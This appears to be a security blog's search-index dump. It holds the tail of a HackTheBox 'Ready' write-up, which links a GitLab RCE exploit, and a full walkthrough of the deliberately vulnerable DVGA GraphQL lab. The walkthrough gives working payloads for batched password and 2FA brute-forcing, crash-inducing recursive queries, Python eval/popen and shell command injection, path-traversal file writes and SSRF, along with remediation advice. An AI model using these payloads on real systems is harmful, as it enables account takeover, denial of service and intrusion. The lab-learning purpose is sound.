src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1620495231020-8a8b6bee-58cb-4933-be3d-3d6acee6c319.png\"\u003e\u003c/p\u003e\n\u003cp\u003eRegister a user, log in, and you can see the version\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1620495290026-65ad4c65-978b-4ba6-96a6-9a08f5b13172.png\"\u003e\u003c/p\u003e\n\u003cp\u003eSearch for it, and there\u0026rsquo;s an exploit:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/ctrlsam/GitLab-11.4.7-RCE/blob/master/exploit.py\"\u003ehttps://github.com/ctrlsam/GitLab-11.4.7-RCE/blob/master/exploit.py\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eSuccessfully got a shell as the git user\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1620495309511-cb1acc0f-17f4-4f5b-acdb-524fc2ef05d9.png\"\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"privilege-escalation\"\u003ePrivilege Escalation\u003c/h1\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1620497231561-8064a60f-a9e2-4526-a794-59ae90d9b6c7.png\"\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003eversion\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;2.4\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003eservices\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"nt\"\u003eweb\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003eimage\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;gitlab/gitlab-ce:11.4.7-ce.0\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003erestart\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l\"\u003ealways\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003ehostname\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;gitlab.example.com\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003eenvironment\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e\u003cspan class=\"nt\"\u003eGITLAB_OMNIBUS_CONFIG\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e\u003cspan class=\"sd\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e        external_url \u0026#39;http://172.19.0.2\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e        redis[\u0026#39;bind\u0026#39;]=\u0026#39;127.0.0.1\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e        redis[\u0026#39;port\u0026#39;]=6379\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e        gitlab_rails[\u0026#39;initial_root_password\u0026#39;]=File.read(\u0026#39;/root_pass\u0026#39;)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003enetworks\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e\u003cspan class=\"nt\"\u003egitlab\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"nt\"\u003eipv4_address\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e172.19.0.2\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003eports\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"s1\"\u003e\u0026#39;5080:80\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e\u003cspan class=\"c\"\u003e#- \u0026#39;127.0.0.1:5080:80\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e\u003cspan class=\"c\"\u003e#- \u0026#39;127.0.0.1:50443:443\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e\u003cspan class=\"c\"\u003e#- \u0026#39;127.0.0.1:5022:22\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003evolumes\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"s1\"\u003e\u0026#39;./srv/gitlab/config:/etc/gitlab\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"s1\"\u003e\u0026#39;./srv/gitlab/logs:/var/log/gitlab\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"s1\"\u003e\u0026#39;./srv/gitlab/data:/var/opt/gitlab\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"s1\"\u003e\u0026#39;./root_pass:/root_pass\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003eprivileged\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003erestart\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l\"\u003eunless-stopped\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"c\"\u003e#mem_limit: 1024m\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003enetworks\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"nt\"\u003egitlab\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003edriver\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l\"\u003ebridge\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003eipam\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e\u003cspan class=\"nt\"\u003econfig\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e- \u003cspan class=\"nt\"\u003esubnet\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e172.19.0.0\u003c/span\u003e\u003cspan class=\"l\"\u003e/16\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDigging further\u003c/p\u003e","title":"HackTheBox: Ready Notes"},{"content":"0x00 Background First, an introduction: what is GraphQL? Just refer to this article\nSee:https://zhuanlan.zhihu.com/p/124019191、\nThe client first interacts with GraphQL, which in turn interacts with arbitrary code, and finally ends the conversation with the database. The diagram describing this situation is:\nThis architectural change brings many advantages, for example:\nAll the data the client needs can be obtained in a single request (whereas a REST API requires multiple requests) A single Endpoint (URL) can handle multiple kinds of requests. Introspection Introspection allows us to get information about all the Requests, Mutations, Subscriptions, and Data Types and all other things that are made available to the clients making requestsThis information is easily available by requesting ___schema meta-field, which, according to the specification, is always available to the query of the “root” type.\nGraphQL uses its Introspection to allow obtaining information about the types, fields, mutations, etc. of the queries available on the server. This information can be easily obtained by requesting the ___schema meta-field, which, according to the specification, is always available to queries of the “root” type.\nSee: https://graphql.org/learn/introspection/、\nWhat problems does the introspection mechanism bring?\nFirst, not all implementations follow the specification. As shown here, it is possible to disable GraphQL introspection, but many implementations simply do not have the capability to turn introspection off.\nSecond, there is information disclosure — introspection introduces information-leakage issues, which will be covered later.\nAbout the Range This GraphQL range is called DVGA (Damn-Vulnerable-GraphQL-Application), a project written in Django\nWhat I used here is of course the docker installation (safety first)\n# Pull the docker image from Docker Hub docker pull dolevf/dvga # Create a container from the image docker run -t -p 80:5000 -e WEB_HOST=0.0.0.0 dolevf/dvga Below are my notes on the range https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application\n0x01 DoS Attacks Below are three attack scenarios\n(1) Batching Attacks Batching Attacks\nSee：https://lab.wallarm.com/graphql-batching-attack/\nOne of these documented but not commonly used behaviors is the ability to send multiple queries with a single GraphQL request,a.k.a. batching—something never explored by security researchers before. We will call attempts to explore this behavior“GraphQL Batching Attacks”.\nOne of these documented but rarely used behaviors is the ability to send multiple queries in a single GraphQL request (i.e. batching / batched queries) — a capability never explored by security researchers before. We call attempts to exploit this behavior “GraphQL Batching Attacks”.\nDefinition\nSee：https://graphql.org/learn/best-practices/#server-side-batching-caching\nGraphQL is designed in a way that allows you to write clean code on the server, where every field on every type has a focused single-purpose function for resolving that value. However, without additional consideration, a naive GraphQL service could be very “chatty” or repeatedly load data from your databases.\nThis is commonly solved by a batching technique, where multiple requests for data from a backend are collected over a short period of time and then dispatched in a single request to an underlying database or microservice by using a tool like Facebook’s DataLoader.\nGraphQL is designed in a way that lets you write clean code on the server, where every field on every type has a focused single-purpose function for resolving that value. However, without additional consideration, a naive GraphQL service could be very “chatty” and repeatedly load data from your databases.\nThis is commonly solved with a batching technique, which collects multiple data requests to the backend over a short period of time and then dispatches them in a single request to the underlying database or microservice using a tool like Facebook’s DataLoader.\nKey point: multiple queries, sent at once.\nBatching can be implemented in roughly three ways; the full details are covered in the article https://www.apollographql.com/blog/query-batching-in-apollo-63acfd859862/ — here we focus on Transport-level batching\nIn most GraphQL servers, requests are sent in the following form:\n{ \u0026#34;query\u0026#34;: “\u0026lt; query string goes here \u0026gt;”, \u0026#34;variables\u0026#34;: { \u0026lt;variable values go here\u0026gt; } } The GraphQL server then parses the query string and returns a single result.\nInstead, suppose we submit a request that looks like this:\n[ { query: \u0026lt; query 0 \u0026gt;, variables: \u0026lt; variables for query 0 \u0026gt;, }, { query: \u0026lt; query 1 \u0026gt;, variables: \u0026lt; variables for query 1 \u0026gt;, }, { query: \u0026lt; query n \u0026gt; variables: \u0026lt; variables for query n \u0026gt;, } ] The server will return a response like this:\n[ \u0026lt;result for query 0\u0026gt;, \u0026lt;result for query 1\u0026gt;, ... \u0026lt;result for query n\u0026gt; ] Security Risks\nIt is mainly used for bypassing limits and abusing rates\nFirst, testing operations paired with user authentication must enforce a limit on the number of attempts. If a single API call can request 10000 attempts at entering a password, 2FA token, and so on, how do you limit the number of attempts? (Note: presumably GraphQL itself has no ability to limit request counts) Clearly, this check has to happen at the code level, and it is up to developers to validate that many such attempts. This is a perfect place for errors and inconsistencies to creep in. According to Murphy’s law — “anything that can go wrong will go wrong”.\nSecond, for tools responsible for protecting web applications (such as WAFs and RASP), identifying abnormal server activity is a challenge when every API request can encapsulate thousands of malicious requests that make up an attack.\nFor anyone already well versed in application security, an easy way to understand this attack vector is to compare it with the XMLRPC Bruteforce Amplification that plagued WordPress for years. Batching attacks are very similar, but with GraphQL it goes even further.\nPassword Bruteforce Authenticate through the GraphQL API while sending many queries with different credentials to check them. This is a classic brute-force attack, but thanks to GraphQL batching, each HTTP request can now carry multiple login/password pairs. This approach makes external rate-monitoring applications believe everything is fine, and they will not notice a brute-force attack guessing passwords.\nBelow you can find the simplest demonstration of an application authentication request, with 3 different email/password pairs at once. Obviously, thousands of them could be sent in a single request the same way:\nAs can be seen from the response screenshot, the first and third requests return null with the corresponding message reflected in the errors section. The second request carries the correct authentication data, and the response contains a valid authentication session token.\nIn short, GraphQL allows us to send multiple mutation requests to obtain the application’s session authentication and make many attempts to guess the correct password.\nPOST /graphql HTTP/1.1 Host: dvga Content-Length: 101 Accept: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4371.0 Safari/537.36 Content-Type: application/json Origin: http://dvga Referer: http://dvga/my_pastes Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=eyJkaWZmaWN1bHR5IjoiZWFzeSJ9.YKTdFg.gxo7zovzYI-WIWb3kior9oodnw8; env=Z3JhcGhpcWw6ZGlzYWJsZQ== Connection: close {\u0026#34;query\u0026#34;:\u0026#34;query { systemDiagnostics(username:\\\u0026#34;admin\\\u0026#34;, password:\\\u0026#34;letmein\\\u0026#34;, cmd:\\\u0026#34;id\\\u0026#34;) }\u0026#34;} Brute-force it, and the password is revealed.\n2FA Bypass While application authentication is handled by GraphQL, implementing two-factor authentication (2FA) is not uncommon. With GraphQL batching attacks, OTP (one-time password) — one of the most common second authentication factors — can be bypassed entirely by sending all token variants in a single request.\nYou can find an example of this GraphQL request below:\nThe response screenshot shows three attempts to enter the OTP within a single response request. The correct code is carried only in the third mutation, while the first and second mutations both return null with the corresponding message reflected in the errors section\nNote that the vulnerable GraphQL web application processed all 3 “one-time” tokens simultaneously, found the valid one, and logged us into the interior.\n(2) Resource Intensive Query Attack Resource Intensive Query Attack\nTake an example from the vulnerable range Damn-Vulnerable-GraphQL-Application: by sending multiple systemUpdate queries, the server is made to\n[ {\u0026#34;query\u0026#34;:\u0026#34;query {\\n systemUpdate\\n}\u0026#34;,\u0026#34;variables\u0026#34;:[]}, {\u0026#34;query\u0026#34;:\u0026#34;query {\\n systemUpdate\\n}\u0026#34;,\u0026#34;variables\u0026#34;:[]}, {\u0026#34;query\u0026#34;:\u0026#34;query {\\n systemUpdate\\n}\u0026#34;,\u0026#34;variables\u0026#34;:[]} ] (3) Deep Recursion Query Attack Deep Recursion Query Attack\nIn GraphQL, when types reference one another, it is usually possible to build a cyclic query that grows exponentially to the point of crippling the server. Countermeasures such as max_depth can help mitigate these types of attacks.\nUsing the following body in a GraphQL call, you can increase the number of nesting levels indefinitely, each time getting an exponentially larger response.\nquery allSchemaTypes { __schema { types { fields { type{ fields { type { fields { type { fields { name } } } } } } } } } } If you add even more nesting levels, the server crashes outright [be careful]\nquery allSchemaTypes { __schema { types { fields { type{ fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { type { fields { name } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } The logs at this point\nLog_DoS_GraphQL.txt\n(4) Remediation For remediation of recursive queries, developers can refer to: https://gitlab.com/gitlab-org/gitlab/-/issues/30096. The recommendations are basically as follows:\nTurn off introspective queries in production You can rate limit on depth (levels of nesting), on complexity, on query size and so on — this kind of limiting needs to be properly designed at the code level. Consider adding a depth limit, using the graphql-depth-limit module to limit query counts; or use graphql-input-number to create a scalar with a maximum of 100 0x02 Information Disclosure Information Disclosure GraphQL introspection is a special query that queries GraphQL for its schema using the __schema field.\nIntrospection itself is not a weakness but a feature. However, if it is exposed, an attacker may use and abuse it to seek out information about the GraphQL implementation, such as which queries or mutations exist.\nFirst, execute the following query\n{\u0026#34;query\u0026#34;:\u0026#34;\\n query IntrospectionQuery {\\r\\n __schema {\\r\\n queryType { name }\\r\\n mutationType { name }\\r\\n subscriptionType { name }\\r\\n types {\\r\\n ...FullType\\r\\n }\\r\\n directives {\\r\\n name\\r\\n description\\r\\n locations\\r\\n args {\\r\\n ...InputValue\\r\\n }\\r\\n }\\r\\n }\\r\\n }\\r\\n\\r\\n fragment FullType on __Type {\\r\\n kind\\r\\n name\\r\\n description\\r\\n fields(includeDeprecated: true) {\\r\\n name\\r\\n description\\r\\n args {\\r\\n ...InputValue\\r\\n }\\r\\n type {\\r\\n ...TypeRef\\r\\n }\\r\\n isDeprecated\\r\\n deprecationReason\\r\\n }\\r\\n inputFields {\\r\\n ...InputValue\\r\\n }\\r\\n interfaces {\\r\\n ...TypeRef\\r\\n }\\r\\n enumValues(includeDeprecated: true) {\\r\\n name\\r\\n description\\r\\n isDeprecated\\r\\n deprecationReason\\r\\n }\\r\\n possibleTypes {\\r\\n ...TypeRef\\r\\n }\\r\\n }\\r\\n\\r\\n fragment InputValue on __InputValue {\\r\\n name\\r\\n description\\r\\n type { ...TypeRef }\\r\\n defaultValue\\r\\n }\\r\\n\\r\\n fragment TypeRef on __Type {\\r\\n kind\\r\\n name\\r\\n ofType {\\r\\n kind\\r\\n name\\r\\n ofType {\\r\\n kind\\r\\n name\\r\\n ofType {\\r\\n kind\\r\\n name\\r\\n ofType {\\r\\n kind\\r\\n name\\r\\n ofType {\\r\\n kind\\r\\n name\\r\\n ofType {\\r\\n kind\\r\\n name\\r\\n ofType {\\r\\n kind\\r\\n name\\r\\n }\\r\\n }\\r\\n }\\r\\n }\\r\\n }\\r\\n }\\r\\n }\\r\\n }\\r\\n \u0026#34;,\u0026#34;variables\u0026#34;:null} Paste the returned response into https://apis.guru/graphql-voyager/\nGraphQL Field Suggestions 0x03 Feature Abuse (1) SSRF The feature point is shown in the figure:\nCapturing the traffic, using the gopher or dict protocol, SSRF can be achieved either way\n(2) Command Injection See：https://sethsec.blogspot.com/2016/11/exploiting-python-code-injection-in-web.html\nIn fact, according to the code https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application/blob/614a19549b25dc8fc0edfa2cd0cabe613422c0bb/core/views.py#L130\nFirst, considering f-strings, you could originally have used\n\u0026gt;\u0026gt;\u0026gt; f\u0026#39;\u0026#39;\u0026#39;{eval(compile(\u0026#34;__import__(\u0026#39;os\u0026#39;).popen(\u0026#39;pwd\u0026#39;).read()\u0026#34;, \u0026#39;\u0026#39;, \u0026#39;single\u0026#39;))}\u0026#39;\u0026#39;\u0026#39; \u0026#39;/c/cmder_c\\n\u0026#39; \u0026#39;None\u0026#39; to achieve command injection.\nBut since the content cannot be fully controlled, it is better to just go with os-cmd injection, which kills at will\n`` || ;; \u0026amp;\u0026amp; (3) XSS (4) Arbitrary File Read POST /graphql HTTP/1.1 Host: dvga Content-Length: 269 Accept: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4371.0 Safari/537.36 Content-Type: application/json Origin: http://dvga Referer: http://dvga/upload_paste Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=eyJkaWZmaWN1bHR5IjoiZWFzeSJ9.YKTdFg.gxo7zovzYI-WIWb3kior9oodnw8; env=Z3JhcGhpcWw6ZGlzYWJsZQ== Connection: close {\u0026#34;query\u0026#34;:\u0026#34;mutation UploadPaste ($filename: String!, $content: String!) {\\n uploadPaste(filename: $filename, content:$content)\\n {\\n result\\n }\\n }\u0026#34;,\u0026#34;variables\u0026#34;:{\u0026#34;content\u0026#34;:\u0026#34;FILE_content\u0026#34;,\u0026#34;filename\u0026#34;:\u0026#34;../../../../tmp/111.txt\u0026#34;}} 0x04 Exploitation Tools inql https://github.com/doyensec/inql\nAfter cloning it locally, just open the bin directory; it will generate inql’s organized results in the current directory, as shown in the figure\nNote: this tool does not support non-80 ports well; the source code needs to be modified.\nGraphiQL Query Result Visualization https://apis.guru/graphql-voyager/\n② Paste the query syntax into GraphiQL’s console and get the query result, ③ then paste the result back into the text box in the figure above. This yields the data structure shown in the figure below (PS: for some reason, it sometimes fails)\nFind the entity you are interested in, locate its query syntax under the Query directory generated by inql, construct the query parameters, and run the query. For example, for this query syntax (it has been converted, since the original query is not convenient for visualization)\n{\u0026#34;query\u0026#34;: \u0026#34;query { paste(pId:\\\u0026#34;code\\\u0026#34;) { id title content public userAgent ipAddr ownerId burn pId owner { id } Owner { id } }}\u0026#34;} Querying directly of course yields no result, as shown below\nChange pId to a numeric value, such as 1, and you can see the result returned.\nMore often, we first need to obtain some basic information from simple interfaces (such as configuration values like hash, key, etc.) before we can effectively construct the parameters.\nnmap Someone in the community wrote a Lua script for targeted exploitation, which you can view at the link below,\nSee: https://raw.githubusercontent.com/dolevf/nmap-graphql-introspection-nse/6594cce7b590a7194641494ed33c018d9ecd6b89/graphql-introspection.nse\nBefore use, place it under the scripts/ directory of your nmap installation. The usage process is as follows:\nλ nmap -sV dvga --script=graphql-introspection -p 80 Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-29 18:42 ?D1ú±ê×?ê±?? Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan Ping Scan Timing: About 12.50% done; ETC: 18:42 (0:00:00 remaining) Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 0.00% done Nmap scan report for dvga (127.0.0.1:) Host is up (0.031s latency). rDNS record for 127.0.0.1: DVGA PORT STATE SERVICE VERSION 80/tcp open http Werkzeug httpd 1.0.1 (Python 3.7.9) | graphql-introspection: | VULNERABLE: | GraphQL Server allows Introspection queries at endpoint: Endpoint: /graphql is vulnerable to introspection queries! | State: VULNERABLE | Checks if GraphQL allows Introspection Queries. | | References: |_ https://graphql.org/learn/introspection/ |_http-server-header: Werkzeug/1.0.1 Python/3.7.9 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.37 seconds Refs https://www.apollographql.com/blog/batching-client-graphql-queries-a685f5bcd41b/ https://graphql.org/learn/introspection\nhttps://blog.doyensec.com/2018/05/17/graphql-security-overview.html https://www.apollographql.com/blog/query-batching-in-apollo-63acfd859862/ https://lab.wallarm.com/graphql-batching-attack/ https://zhuanlan.zhihu.com/p/124019191 https://apis.guru/graphql-voyager/ Mastering GraphQL https://github.com/doyensec/inql (installation is prone to problems; the directory behaves abnormally when not on the default port) ","permalink":"https://www.unc.la/en/posts/penetration/ps5n3g/","summary":"\u003ch1 id=\"0x00-background\"\u003e0x00 Background\u003c/h1\u003e\n\u003cp\u003eFirst, an introduction: what is GraphQL? Just refer to this article\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eSee:\u003ca 